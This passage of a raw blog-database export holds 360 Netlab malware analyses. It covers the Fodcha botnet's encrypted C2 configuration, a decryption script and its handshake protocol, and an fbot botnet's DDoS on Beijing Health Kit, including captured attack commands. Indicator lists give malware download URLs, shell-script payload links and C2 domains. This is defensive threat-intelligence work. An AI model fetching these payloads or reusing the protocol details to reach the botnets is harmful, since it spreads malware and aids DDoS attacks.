stripped\nPacker:None\n```\n\nFodcha's function is simple. When it executes on the compromised device, it first checks the runtime parameters. When there are no parameters, it exits out. Fodcha does this as a simple countermeasure to deter sandbox. When parameters are present, it first decrypts the key configurations data, the data include some sensitive information such as C2s will It then prints “here we are” on the Console, and uses a random string to disguise the process name. Finally communication with the C2 will be established. The following section will focus on Fodcha's decryption method and network communication.\n\n#### Decrypting key configurations\nFodcha uses a multiple-Xor encryption method to protect its key configurations such as C2 data.\n\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha_xor.png\" width=\"860px\" />\n\nThe corresponding python implementation is shown below, taking the ciphertext ``EB D3 EB C9 C2 EF F6 FD FD FC FB F1 A3 FB E9`` in the sample as an example. After decryption, we will get the Fodcha's C2: **fridgexperts.cc**.\n\n\n```python\ncipher=[ 0xEB, 0xD3, 0xEB, 0xC9, 0xC2, 0xEF, 0xF6, 0xFD, 0xFD, 0xFC, \n 0xFB, 0xF1, 0xA3, 0xFB, 0xE9]\n \nkey=[0x66, 0x4A, 0x69, 0x46, 0x4E, 0x61, 0x65, 0x66, 0x73, 0x65, \n 0x64, 0x69, 0x66, 0x73, 0x61, 0x69, 0x66, 0x73, 0x69,00]\n\ntmp=[]\n\nfor i in range(len(cipher)):\n tmp.append((cipher[i] ^ key[i])%0xff^0xbe)\n\nfor i in range(len(tmp)):\n for j in key:\n tmp[i]^=j\nout=''.join([chr(i) for i in tmp])\n\nprint out\n```\n\n#### Network communication\n\nFodcha establishes a connection with C2 through the following code fragment where the DNS A record IP of the C2 domain corresponds to the PORT of N:10.\n\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha_connect.png\" width=\"860px\" />\n\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha_mapping.png\" width=\"860px\" /> \n\nOnce the connection is successfully established with C2, the Bot must go through 5 rounds of interaction with C2 before it can actually communicate with C2. We use arm as the packet string, which generates the network traffic shown in the following figure.\n\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha_net.png\" width=\"860px\" /> \n\nLet us elaborate on how this traffic is generated:\n\n\n###### Step 1: Bot-->C2 (fixed length 5 bytes)\nThe hard-coded ``ee 00 00`` is calculated by the tcp/ip checksum method to get the 2-byte checksum value 0xff11, which is filled to the last 2 bytes.\n\n\n```python\ndef checksum(data):\n s = 0\n n = len(data) % 2\n for i in range(0, len(data)-n, 2):\n s+= ord(data[i]) + (ord(data[i+1]) << 8)\n if n:\n s+= ord(data[i+1])\n while (s >> 16):\n s = (s & 0xFFFF) + (s >> 16)\n s = ~s & 0xffff\n return s\n```\n\n###### Step 2: C2-->BOT (2 times, the first 32 bytes; the second 12 bytes)\nNote that the key and nonce are generated by the C2 side, not fixed.\n\n```\n32 bytes at the beginning is chacha20 key:\n\n26 14 2d 4d 58 d2 9e 26 67 98 bc e4 ef 69 b9 04\ne6 d0 73 17 5c 4f 71 33 9f 97 18 f7 31 8d d4 d6\n\n12 bytes at the last is chacha20 nonce:\n\n2f 8a 5c da 57 50 a6 64 d7 98 f5 5d\n```\n\n###### Step 3: BOT-->C2 (fixed length 5 bytes)\nHard-coded ``55 00 00`` by checksum, calculate the checksum value 0xffaa, fill in the last 2 bytes, become ``55 00 00 aa ff``, then use chacha20 algorithm to encrypt, the number of rounds is 1, get ``99 9e 95 f6 32``.\n\n###### Step 4: C2-->BOT(fixed length 5 bytes)\nAt this point, if the format of the 5 bytes received is ``0x55`` at the beginning and the last 2 bytes are the checksum value, it means the previous interaction is right, enter Step 5 and ask BOT to start sending packet information.\n\n###### Step 5: Bot--->C2 (2 times, the first 5 bytes, the second grouping)\n* First time\nHard-coded ``fe 00 00``, the third byte is really the grouping length, becomes ``fe 00 03``, calculate the checksum value 0xfefe, fill in the tail to get ``fe 00 03 fe fe``\n\n* Second time\ngrouping string ``arm``, use chacha20 encryption, round number 1, get ``ad ec f8``\n\nAt this point the BOT is successfully registered and waits to execute the instruction issued by C2. The instruction code and its meaning are shown below:\n - 0x69, Heartbeat\n<img src=\"__GHOST_URL__/content/images/2022/04/fodcha_heart.png\" width=\"860px\" /> \n - 0xEB, DDoS Attack\n - 0xFB, Exit"}],["markdown",{"markdown":"## C2 Tracking\nOur botnet tracking system data shows that Fodcha has been launching DDoS attacks non stop since it came online, with the following trends in attack targets.\n\n![fodcha.cccommand](__GHOST_URL__/content/images/2022/04/fodcha.cccommand.png)\n\nAs you can see, the DDoS behavior of this family is very active:\n* The most active attack time was on 2022-03-01, with over 130k attacking commands being recorded.\n* In the recent week, the average daily attack command has exceeded 7k, targeting 100+ DDoS victims. \n\nAt the same time, we can also clearly see from the DNS perspective that the C2 domain of this family made a turnover around 2022-03-19, corresponding to the shift from v1 to v2 in the aforementioned sample analysis section.\n\n![c2.dns](__GHOST_URL__/content/images/2022/04/c2.dns.png)\n\n> Netlab note:\n> The shift from v1 to v2 is due to the fact that the C2 servers corresponding to the v1 version were shutdown by a their cloud vendor, so Fodcha's operators had no choice but to re-launch v2 and update C2. The new C2 is mapped to more than a dozen IPs and is distributed across multiple countries including the US, Korea, Japan, and India, it involves more cloud providers such as Amazon, DediPath, DigitalOcean, Linode, and many others.\n> "}],["markdown",{"markdown":"## IoC\n#### Sample Hash(md5)\n```\n0e3ff1a19fcd087138ec85d5dba59715\n1b637faa5e424966393928cd6df31849\n208e72261e10672caa60070c770644ba\n2251cf2ed00229c8804fc91868b3c1cb\n2a02e6502db381fa4d4aeb356633af73\n2ed0c36ebbeddb65015d01e6244a2846\n2fe2deeb66e1a08ea18dab520988d9e4\n37adb95cbe4875a9f072ff7f2ee4d4ae\n3fc8ae41752c7715f7550dabda0eb3ba\n40f53c47d360c1c773338ef5c42332f8\n4635112e2dfe5068a4fe1ebb1c5c8771\n525670acfd097fa0762262d9298c3b3b\n54e4334baa01289fa4ee966a806ef7f1\n5567bebd550f26f0a6df17b95507ca6d\n5bdb128072c02f52153eaeea6899a5b1\n6244e9da30a69997cf2e61d8391976d9\n65dd4b23518cba77caab3e8170af8001\n6788598e9c37d79fd02b7c570141ddcf\n760b2c21c40e33599b0a10cf0958cfd4\n792fdd3b9f0360b2bbee5864845c324c\n7a6ebf1567de7e432f09f53ad14d7bc5\n9413d6d7b875f071314e8acae2f7e390\n954879959743a7c63784d1204efc7ed3\n977b4f1a153e7943c4db6e5a3bf40345\n9defda7768d2d806b06775c5768428c4\n9dfa80650f974dffe2bda3ff8495b394\na996e86b511037713a1be09ee7af7490\nb11d8e45f7888ce85a67f98ed7f2cd89\nb1776a09d5490702c12d85ab6c6186cd\nb774ad07f0384c61f96a7897e87f96c0\nc99db0e8c3ecab4dd7f13f3946374720\nc9cbf28561272c705c5a6b44897757ca\ncbdb65e4765fbd7bcae93b393698724c\nd9c240dbed6dfc584a20246e8a79bdae\ne372e5ca89dbb7b5c1f9f58fe68a8fc7\nebf81131188e3454fe066380fa469d22\nfe58b08ea78f3e6b1f59e5fe40447b11\n```\n\n#### Download Links\n```\nhttp://139.177.195.192/bins/arm\nhttp://139.177.195.192/bins/arm5\nhttp://139.177.195.192/bins/arm7\nhttp://139.177.195.192/bins/mips\nhttp://139.177.195.192/bins/realtek.mips\nhttp://139.177.195.192/blah\nhttp://139.177.195.192/linnn\nhttp://139.177.195.192/skidrt\nhttp://139.177.195.192/z.sh\nhttp://162.33.179.171/bins/arm\nhttp://162.33.179.171/bins/arm7\nhttp://162.33.179.171/bins/mpsl\nhttp://162.33.179.171/bins/realtek.mips\nhttp://162.33.179.171/bins/realtek.mpsl\nhttp://162.33.179.171/blah\nhttp://162.33.179.171/k.sh\nhttp://162.33.179.171/linnn\nhttp://162.33.179.171/z.sh\nhttp://206.188.197.104/bins/arm7\nhttp://206.188.197.104/bins/realtek.mips\nhttp://206.188.197.104/skidrt\nhttp://31.214.245.253/bins/arm\nhttp://31.214.245.253/bins/arm7\nhttp://31.214.245.253/bins/mips\nhttp://31.214.245.253/bins/mpsl\nhttp://31.214.245.253/bins/x86\nhttp://31.214.245.253/k.sh\nhttp://31.214.245.253/kk.sh\n```\n\n#### C2 domain\n```\nfolded.in\nfridgexperts.cc\n```\n\n## Contact us\nReaders are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn."}]],"markups":[],"sections":[[1,"h2",[[0,[],0,"Overview"]]],[1,"p",[[0,[],0,"Recently, CNCERT and 360netlab worked together and discovered a rapidly spreading DDoS botnet on the Internet. The global infection looks fairly big as just in China there are more than 10,000 daily active bots (IPs) and alsomore than 100 DDoS victims beingtargeted on a daily basis. We named the botnet Fodcha because of its initial use of the C2 domain name folded.in and its use of the chacha algorithm to encrypt network traffic."]]],[10,0],[10,1],[10,2],[10,3],[10,4],[1,"p",[]]],"ghostVersion":"3.0"} | 6256254b2c81b900076f9a02 |
post | null | 2022-04-29T03:28:29.000Z | 63873b9a8b1c1e0007f53018 | jian-kang-bao-bei-gong-ji-nei-mu | 0 | 2022-04-29T08:14:14.000Z | public | draft | null | null | 北京健康宝被DDoS攻击背后的僵尸网络 | <!--kg-card-begin: markdown--><p>4月28日,北京健康宝在使用高峰期间受到攻击,好在健康宝保障团队应对及时,服务未受影响。</p>
<p>360 Netlab的BotMon系统长期跟踪大网上活跃的DDoS攻击,这次攻击也被我们的系统第一时间捕获,并及时分享给国家相关机构对涉事僵尸网络做相应处置。现在是疫情紧张时期,健康宝等类似服务对群众日常生活影响重大,服务一旦中断,损失难以估量。为了更好的预防类似攻击,我们总结下这次攻击中看到的信息。</p>
<p>本文的要点如下:</p>
<ol>
<li>这次DDoS攻击通过僵尸网络发起,控制端均在境外。</li>
<li>共有3个主控端参与此次攻击,均为一个名为fbot的家族,该家族存活已久,最早由我们在2018年首先发现并<a href="__GHOST_URL__/fbot-a-satori-related-block-chain-dns-based-worm/">公开</a>。</li>
<li>涉事的3个主控来自同一样本,我们对它们有持续跟踪,之前曾跟踪到多次其它DDoS攻击事件。</li>
<li>截至到发稿时,涉事C2仍在活跃。</li>
</ol>
<h1 id="">攻击指令及其解读</h1>
<p>我们系统收到的原始攻击指令如下:</p>
<pre><code>time botname cc_server cc_ip cc_port type atk_type target_host target_port notes
2022-04-28 08:47:52+08:00 fbot dota.iwishiwashappy.eu 74.119.193.242 9987 ddos attack_udp_plain xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
2022-04-28 08:47:52+08:00 fbot dota.uiasuibasdbui.art 77.91.101.250 9987 ddos attack_udp_plain xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
2022-04-28 08:47:51+08:00 fbot dota.zzzsleepisnicezzz.art 77.91.101.249 9987 ddos attack_udp_plain xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
2022-04-28 08:41:50+08:00 fbot dota.zzzsleepisnicezzz.art None 9987 ddos attack_tcp_push_ack xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
2022-04-28 08:41:50+08:00 fbot dota.uiasuibasdbui.art None 9987 ddos attack_tcp_push_ack xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
2022-04-28 08:41:50+08:00 fbot dota.iwishiwashappy.eu 74.119.193.242 9987 ddos attack_tcp_push_ack xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
</code></pre>
<p>上述指令中目标IP做了打码处理。能看出指令发出的时间是28号早上8点41,跟北京卫健委发布的时间能对上。攻击手段上,使用了UDP和TCP_PUSH_ACK两种报文洪泛攻击。</p>
<p><strong>UDP_PLAIN</strong> 攻击效果如下,包长固定为1409。</p>
<p><img src="__GHOST_URL__/content/images/2022/04/UDP_Plain-----.png" alt="UDP_Plain-----" loading="lazy"></p>
<p><strong>TCP_PUSH_ACK</strong> 攻击的效果如下:</p>
<img src="__GHOST_URL__/content/images/2022/04/TCP_PUSH_ACK-----.png" width="860px" />
<h2 id="">该团伙的历史攻击分析</h2>
<p>涉事的3个C2如下:</p>
<pre><code>dota.zzzsleepisnicezzz.art
dota.iwishiwashappy.eu
dota.uiasuibasdbui.art
</code></pre>
<p>它们均属于fbot家族,并且来自同一样本。</p>
<p>我们回扫了这3个C2的历史攻击指令,有如下发现:</p>
<ol>
<li>它们都是从4月23日开始上线,现在仍在活跃。</li>
<li>它们的攻击目标和下发指令的时间高度重合。</li>
<li>它们的累计攻击了1000多个目标,并且地理位置分散。</li>
</ol>
<p>下面是它们攻击过的目标地理分布图。</p>
<p><img src="__GHOST_URL__/content/images/2022/04/3-C2---------.png" alt="3-C2---------" loading="lazy"></p>
<p>下面是这几个C2的分发指令的时间轴:</p>
<p><img src="__GHOST_URL__/content/images/2022/04/--------.png" alt="--------" loading="lazy"></p>
<p>从上述信息不难推断,这3个C2属于同一个团伙。从攻击目标地理分散和分发的指令频繁程度这两点看,该团伙很可能是靠DDoS攻击盈利的组织,即谁付钱帮谁攻击。</p>
<h2 id="ioc">IoC</h2>
<h3 id="c2">C2</h3>
<pre><code>dota.zzzsleepisnicezzz.art
dota.iwishiwashappy.eu
dota.uiasuibasdbui.art
</code></pre>
<h3 id="md5">MD5</h3>
<pre><code>0de8e79862f846887821240ff0a7c67e
116abdfff010b43b5269e5e5dd6e45a4
1a904a1210e26a6da0d139824aba7309
1b675da617a856cad8d6aaf20de6c186
24f89312c3319df8627347924bac4ea7
28d6bd52d227daa488fd14432d613d89
2bc1ab65659f9b3f3e2efbfa05ab4172
35f0a8216f939b117e54ee3bbd636d52
3c87a4925292c8dc11694afe847fbfdf
48fd995f44fc5317c9aa9585f85f3ac7
4e55f1c3630f86edb695b20734270d20
636f8430c263a9d2d798a89809df0874
807c54466bfb076db66c0212a52fdc22
813950fa1a9c00dce7eed71984a65100
8d68390fddfa42a0e60a5dd247a4c243
8d8da9bd5a8e2709c21ee4ee64d6162a
93292a43949fa22a70a3221287792042
a608f8e7cb61e5273c4d057fd27353d1
aa3f65eddc437ff38f9df67a88bc5edc
ab9a5bff3d16576d01b4bc7190fb84ab
b0ab8faa5809b3957a050000e13a6d8b
b43cae51b13cfd9bb3c16d40b2a3c7a6
b659aecf1ea18b82018d44b401f9252a
b91fe7ba96c896e459f0744cd7db4722
bd3bd14fcaa0f047bb03e67c2099849b
c060e23d6369c12a60db59261b7552f2
c42e41ee6486a7dc38cf3c098fde31c3
daad900f19e9f0a720f24e51dbc495cb
df53e7d0c15392035deabeaf7ea0a44a
fe2e89e54771588ce4638eac84c5f367
</code></pre>
<h3 id="url">URL</h3>
<pre><code>http://31.44.185.237/arm4
http://31.44.185.237/arm5
http://31.44.185.237/arm6
http://31.44.185.237/arm7
http://31.44.185.237/mips
http://31.44.185.237/mips64
http://31.44.185.237/mipsel
http://31.44.185.237/powerpc
http://31.44.185.237/x
http://31.44.185.237/x86
http://31.44.185.237/x86_64
</code></pre>
<!--kg-card-end: markdown--> | 4月28日,北京健康宝在使用高峰期间受到攻击,好在健康宝保障团队应对及时,服务未受影响。
360 Netlab的BotMon系统长期跟踪大网上活跃的DDoS攻击,这次攻击也被我们的系统第一时间捕获,并及时分享给国家相关机构对涉事僵尸网络做相应处置。现在是疫情紧张时期,健康宝等类似服务对群众日常生活影响重大,服务一旦中断,损失难以估量。为了更好的预防类似攻击,我们总结下这次攻击中看到的信息。
本文的要点如下:
1. 这次DDoS攻击通过僵尸网络发起,控制端均在境外。
2. 共有3个主控端参与此次攻击,均为一个名为fbot的家族,该家族存活已久,最早由我们在2018年首先发现并公开。
3. 涉事的3个主控来自同一样本,我们对它们有持续跟踪,之前曾跟踪到多次其它DDoS攻击事件。
4. 截至到发稿时,涉事C2仍在活跃。
攻击指令及其解读
我们系统收到的原始攻击指令如下:
time botname cc_server cc_ip cc_port type atk_type target_host target_port notes
2022-04-28 08:47:52+08:00 fbot dota.iwishiwashappy.eu 74.119.193.242 9987 ddos attack_udp_plain xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
2022-04-28 08:47:52+08:00 fbot dota.uiasuibasdbui.art 77.91.101.250 9987 ddos attack_udp_plain xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
2022-04-28 08:47:51+08:00 fbot dota.zzzsleepisnicezzz.art 77.91.101.249 9987 ddos attack_udp_plain xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
2022-04-28 08:41:50+08:00 fbot dota.zzzsleepisnicezzz.art None 9987 ddos attack_tcp_push_ack xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
2022-04-28 08:41:50+08:00 fbot dota.uiasuibasdbui.art None 9987 ddos attack_tcp_push_ack xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
2022-04-28 08:41:50+08:00 fbot dota.iwishiwashappy.eu 74.119.193.242 9987 ddos attack_tcp_push_ack xx.xxx.194.137 80 src=beast,atk_time=60,netmask=32,
上述指令中目标IP做了打码处理。能看出指令发出的时间是28号早上8点41,跟北京卫健委发布的时间能对上。攻击手段上,使用了UDP和TCP_PUSH_ACK两种报文洪泛攻击。
UDP_PLAIN 攻击效果如下,包长固定为1409。
TCP_PUSH_ACK 攻击的效果如下:
该团伙的历史攻击分析
涉事的3个C2如下:
dota.zzzsleepisnicezzz.art
dota.iwishiwashappy.eu
dota.uiasuibasdbui.art
它们均属于fbot家族,并且来自同一样本。
我们回扫了这3个C2的历史攻击指令,有如下发现:
1. 它们都是从4月23日开始上线,现在仍在活跃。
2. 它们的攻击目标和下发指令的时间高度重合。
3. 它们的累计攻击了1000多个目标,并且地理位置分散。
下面是它们攻击过的目标地理分布图。
下面是这几个C2的分发指令的时间轴:
从上述信息不难推断,这3个C2属于同一个团伙。从攻击目标地理分散和分发的指令频繁程度这两点看,该团伙很可能是靠DDoS攻击盈利的组织,即谁付钱帮谁攻击。
IoC
C2
dota.zzzsleepisnicezzz.art
dota.iwishiwashappy.eu
dota.uiasuibasdbui.art
MD5
0de8e79862f846887821240ff0a7c67e
116abdfff010b43b5269e5e5dd6e45a4
1a904a1210e26a6da0d139824aba7309
1b675da617a856cad8d6aaf20de6c186
24f89312c3319df8627347924bac4ea7
28d6bd52d227daa488fd14432d613d89
2bc1ab65659f9b3f3e2efbfa05ab4172
35f0a8216f939b117e54ee3bbd636d52
3c87a4925292c8dc11694afe847fbfdf
48fd995f44fc5317c9aa9585f85f3ac7
4e55f1c3630f86edb695b20734270d20
636f8430c263a9d2d798a89809df0874
807c54466bfb076db66c0212a52fdc22
813950fa1a9c00dce7eed71984a65100
8d68390fddfa42a0e60a5dd247a4c243
8d8da9bd5a8e2709c21ee4ee64d6162a
93292a43949fa22a70a3221287792042
a608f8e7cb61e5273c4d057fd27353d1
aa3f65eddc437ff38f9df67a88bc5edc
ab9a5bff3d16576d01b4bc7190fb84ab
b0ab8faa5809b3957a050000e13a6d8b
b43cae51b13cfd9bb3c16d40b2a3c7a6
b659aecf1ea18b82018d44b401f9252a
b91fe7ba96c896e459f0744cd7db4722
bd3bd14fcaa0f047bb03e67c2099849b
c060e23d6369c12a60db59261b7552f2
c42e41ee6486a7dc38cf3c098fde31c3
daad900f19e9f0a720f24e51dbc495cb
df53e7d0c15392035deabeaf7ea0a44a
fe2e89e54771588ce4638eac84c5f367
URL
http://31.44.185.237/arm4
http://31.44.185.237/arm5
http://31.44.185.237/arm6
http://31.44.185.237/arm7
http://31.44.185.237/mips
http://31.44.185.237/mips64
http://31.44.185.237/mipsel
http://31.44.185.237/powerpc
http://31.44.185.237/x
http://31.44.185.237/x86
http://31.44.185.237/x86_64
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"4月28日,北京健康宝在使用高峰期间受到攻击,好在健康宝保障团队应对及时,服务未受影响。\n\n360 Netlab的BotMon系统长期跟踪大网上活跃的DDoS攻击,这次攻击也被我们的系统第一时间捕获,并及时分享给国家相关机构对涉事僵尸网络做相应处置。现在是疫情紧张时期,健康宝等类似服务对群众日常生活影响重大,服务一旦中断,损失难以估量。为了更好的预防类似攻击,我们总结下这次攻击中看到的信息。\n\n本文的要点如下:\n1. 这次DDoS攻击通过僵尸网络发起,控制端均在境外。\n2. 共有3个主控端参与此次攻击,均为一个名为fbot的家族,该家族存活已久,最早由我们在2018年首先发现并[公开](__GHOST_URL__/fbot-a-satori-related-block-chain-dns-based-worm/)。\n3. 涉事的3个主控来自同一样本,我们对它们有持续跟踪,之前曾跟踪到多次其它DDoS攻击事件。\n4. 截至到发稿时,涉事C2仍在活跃。\n\n# 攻击指令及其解读\n我们系统收到的原始攻击指令如下:\n```\ntime \tbotname \tcc_server \tcc_ip \tcc_port\ttype \tatk_type \ttarget_host \ttarget_port\tnotes\n2022-04-28 08:47:52+08:00\tfbot \tdota.iwishiwashappy.eu \t74.119.193.242 \t9987 \tddos \tattack_udp_plain \txx.xxx.194.137 \t80 \tsrc=beast,atk_time=60,netmask=32,\n2022-04-28 08:47:52+08:00\tfbot \tdota.uiasuibasdbui.art \t77.91.101.250 \t9987 \tddos \tattack_udp_plain \txx.xxx.194.137 \t80 \tsrc=beast,atk_time=60,netmask=32,\n2022-04-28 08:47:51+08:00\tfbot \tdota.zzzsleepisnicezzz.art \t77.91.101.249 \t9987 \tddos \tattack_udp_plain \txx.xxx.194.137 \t80 \tsrc=beast,atk_time=60,netmask=32,\n2022-04-28 08:41:50+08:00\tfbot \tdota.zzzsleepisnicezzz.art \tNone \t9987 \tddos \tattack_tcp_push_ack \txx.xxx.194.137 \t80 \tsrc=beast,atk_time=60,netmask=32,\n2022-04-28 08:41:50+08:00\tfbot \tdota.uiasuibasdbui.art \tNone \t9987 \tddos \tattack_tcp_push_ack \txx.xxx.194.137 \t80 \tsrc=beast,atk_time=60,netmask=32,\n2022-04-28 08:41:50+08:00\tfbot \tdota.iwishiwashappy.eu \t74.119.193.242 \t9987 \tddos \tattack_tcp_push_ack \txx.xxx.194.137 \t80 \tsrc=beast,atk_time=60,netmask=32,\n```\n\n上述指令中目标IP做了打码处理。能看出指令发出的时间是28号早上8点41,跟北京卫健委发布的时间能对上。攻击手段上,使用了UDP和TCP_PUSH_ACK两种报文洪泛攻击。\n\n**UDP_PLAIN** 攻击效果如下,包长固定为1409。\n\n![UDP_Plain-----](__GHOST_URL__/content/images/2022/04/UDP_Plain-----.png)\n\n\n\n**TCP_PUSH_ACK** 攻击的效果如下:\n\n<img src=\"__GHOST_URL__/content/images/2022/04/TCP_PUSH_ACK-----.png\" width=\"860px\" /> \n\n\n\n## 该团伙的历史攻击分析\n涉事的3个C2如下:\n```\ndota.zzzsleepisnicezzz.art \ndota.iwishiwashappy.eu\ndota.uiasuibasdbui.art\n```\n它们均属于fbot家族,并且来自同一样本。\n\n我们回扫了这3个C2的历史攻击指令,有如下发现:\n1. 它们都是从4月23日开始上线,现在仍在活跃。\n2. 它们的攻击目标和下发指令的时间高度重合。\n3. 它们的累计攻击了1000多个目标,并且地理位置分散。\n\n下面是它们攻击过的目标地理分布图。\n\n![3-C2---------](__GHOST_URL__/content/images/2022/04/3-C2---------.png)\n\n\n下面是这几个C2的分发指令的时间轴:\n\n![--------](__GHOST_URL__/content/images/2022/04/--------.png)\n\n从上述信息不难推断,这3个C2属于同一个团伙。从攻击目标地理分散和分发的指令频繁程度这两点看,该团伙很可能是靠DDoS攻击盈利的组织,即谁付钱帮谁攻击。\n\n\n## IoC\n### C2\n```\ndota.zzzsleepisnicezzz.art \ndota.iwishiwashappy.eu\ndota.uiasuibasdbui.art\n```\n\n### MD5\n```\n0de8e79862f846887821240ff0a7c67e\n116abdfff010b43b5269e5e5dd6e45a4\n1a904a1210e26a6da0d139824aba7309\n1b675da617a856cad8d6aaf20de6c186\n24f89312c3319df8627347924bac4ea7\n28d6bd52d227daa488fd14432d613d89\n2bc1ab65659f9b3f3e2efbfa05ab4172\n35f0a8216f939b117e54ee3bbd636d52\n3c87a4925292c8dc11694afe847fbfdf\n48fd995f44fc5317c9aa9585f85f3ac7\n4e55f1c3630f86edb695b20734270d20\n636f8430c263a9d2d798a89809df0874\n807c54466bfb076db66c0212a52fdc22\n813950fa1a9c00dce7eed71984a65100\n8d68390fddfa42a0e60a5dd247a4c243\n8d8da9bd5a8e2709c21ee4ee64d6162a\n93292a43949fa22a70a3221287792042\na608f8e7cb61e5273c4d057fd27353d1\naa3f65eddc437ff38f9df67a88bc5edc\nab9a5bff3d16576d01b4bc7190fb84ab\nb0ab8faa5809b3957a050000e13a6d8b\nb43cae51b13cfd9bb3c16d40b2a3c7a6\nb659aecf1ea18b82018d44b401f9252a\nb91fe7ba96c896e459f0744cd7db4722\nbd3bd14fcaa0f047bb03e67c2099849b\nc060e23d6369c12a60db59261b7552f2\nc42e41ee6486a7dc38cf3c098fde31c3\ndaad900f19e9f0a720f24e51dbc495cb\ndf53e7d0c15392035deabeaf7ea0a44a\nfe2e89e54771588ce4638eac84c5f367\n```\n\n### URL\n```\nhttp://31.44.185.237/arm4\nhttp://31.44.185.237/arm5\nhttp://31.44.185.237/arm6\nhttp://31.44.185.237/arm7\nhttp://31.44.185.237/mips\nhttp://31.44.185.237/mips64\nhttp://31.44.185.237/mipsel\nhttp://31.44.185.237/powerpc\nhttp://31.44.185.237/x\nhttp://31.44.185.237/x86\nhttp://31.44.185.237/x86_64\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 626b5b5dc65dcd0007911720 |
post | null | 2022-05-04T19:09:25.000Z | 63873b9a8b1c1e0007f53019 | botnet-group-behind-attack-bjjkb | 0 | 2022-10-21T04:27:23.000Z | public | draft | null | 2022-05-09T07:51:54.000Z | 北京健康宝被网络攻击背后的数据分析 | <!--kg-card-begin: markdown--><h1 id="">摘要</h1>
<p>北京健康宝在4月28日遭遇DDoS攻击,各保障团队快速响应、通力合作,将攻击影响快速消弭。如同战场,一次攻击被消除,但只要黑恶势力还在,下一次攻击可能已经在路上。为此,我们有必要深度分析一下其背后的攻击团队,了解其规模及攻击手法,做到知彼知己。</p>
<p>通过360Netlab积累的多维度安全威胁数据,我们可以确定这次事件的发起方是我们内部命名为Rippr的团伙,它使用了已经披露过的恶意代码家族Fbot的作为攻击武器。如同现实世界的病毒一样,网络世界的恶意代码往往也基于旧有的恶意代码,不断地被一批又一批有“恶意目的”的人控制来演进、传播、利用。此次事件的Fbot变种,最早发现于2月10日,自被发现以来,它们就异常活跃地参与到DDoS攻击中。截至今日,短短三个月,被跟踪到的攻击事件就超过15w次。</p>
<p>本篇技术评论将带你深潜网络空间,在貌似平静的表面之下,看深渊的暗潮涌动。</p>
<h1 id="">背景</h1>
<p>4月28日,北京市第318场新冠病毒肺炎疫情防控工作新闻发布会召开,会上北京市委宣传部对外新闻处副处长隗斌表示,“4月28日,北京健康宝使用高峰期遭受网络攻击,保障团队进行及时有效应对,受攻击期间北京健康宝相关服务未受影响”。</p>
<p>从我们的视野内看到的情况,我们可以确认这是一起典型的网络拒绝服务攻击(DDoS攻击)事件,就是说攻击者利用大量被入侵的网络设备,如IOT设备,个人电脑,服务器等,向受害者服务器发送海量的网络流量,影响其正常服务。用一个通俗点的例子来类比,好比有人控制了100万个僵尸冲到某个特定的核酸检测点做检测,导致该核酸检测点没法给真正需要做检测的人提供服务。</p>
<p>这种攻击方式,往往都是利用网络安全领域熟知的“僵尸网络”,僵尸网络中大量被控制的机器和设备叫做Bot(肉鸡),而控制这些机器、设备的核心主控服务器叫做C2(command and controller)。在组织结构上,黑客从性能,安全,易调度等角度考虑,并不会直接去和这些大量被入侵感染的网络设备(Bot)一一对话,发送指令,而是会利用C2来统一控制。所有的Bot都和C2通讯,接受C2下发的各种攻击指令。这样黑客只需要通过控制一台或者多台C2,就可以轻松控制成千上万的Bot的行为。</p>
<p>对于活跃的僵尸网络,如果能够有效地发现和跟踪C2,甚至进一步能够实时获取黑客通过C2发出来的每一条具体的攻击指令,那么黑客的攻击活动每一个动作对安全守护方来说都是透明的。正是这个原因,DDoS研究中的C2的发现和跟踪一直可以算是“皇冠上的明珠”。</p>
<h1 id="netlab">Netlab为什么能看到此次攻击?</h1>
<p>360 Netlab的BotMon系统长期专门跟踪大网上活跃的DDoS攻击,这次攻击也被我们的系统第一时间捕获,并及时分享给相关机构对涉事僵尸网络做相应处置。</p>
<p>360 Netlab使用逆向分析手段完全掌握僵尸网络的通信协议后,可以打入僵尸网络内部,从而监听其内部通信信息和攻击指令。在本次安全事件中,我们就捕获了对应的攻击指令,从而将受害者和攻击发起者之间形成了牢固的证据链条。</p>
<p>本文我们就从C2的角度对这一安全事件进行分析,要点如下:</p>
<ul>
<li>
<p>这次DDoS攻击通过僵尸网络发起,该僵尸网络源自于一个名为Fbot的家族。该家族存活已久,最早由我们在2018年首先发现并<a href="__GHOST_URL__/fbot-a-satori-related-block-chain-dns-based-worm/">公开</a>。</p>
</li>
<li>
<p>此次涉事的僵尸网络使用3个C2参与了对北京健康宝的攻击,我们对其有持续跟踪,截获了具体的攻击指令。</p>
</li>
<li>
<p>该僵尸网络最早于2月10日被发现,最开始有另外3个C2活跃,后经过一次安全团队联合反制,旧的被打掉,变为现在的3个新的C2。</p>
</li>
<li>
<p>该僵尸网络由一个我们内部命名为Rippr的团伙运营,该团伙长期进行DDoS攻击,我们之前也曾跟踪到其对外发起的多次大型DDoS攻击事件。</p>
</li>
<li>
<p>截止到发稿时,全球范围内本僵尸网络仍在活跃,且仍在参与针对各种攻击的目标的DDoS攻击事件中。</p>
</li>
</ul>
<h2 id="">对北京健康宝的攻击指令</h2>
<p>我们的BotMon系统截获的原始攻击指令如下:</p>
<img src="__GHOST_URL__/content/images/2022/05/chart-cccommand.png" width="860px" />
<p>为了保护被攻击的目标,我们对上述指令中目标IP做了打码处理。从攻击时间上来看,指令发出的时间是28号早上8点41,跟北京卫健委发布的时间能对上;从攻击方法上来看,使用了我们内部命名为<strong>ATK_256,ATK_261</strong>的DDoS攻击方式。</p>
<h3 id="atk_256atk_261">ATK_256,ATK_261是什么攻击?</h3>
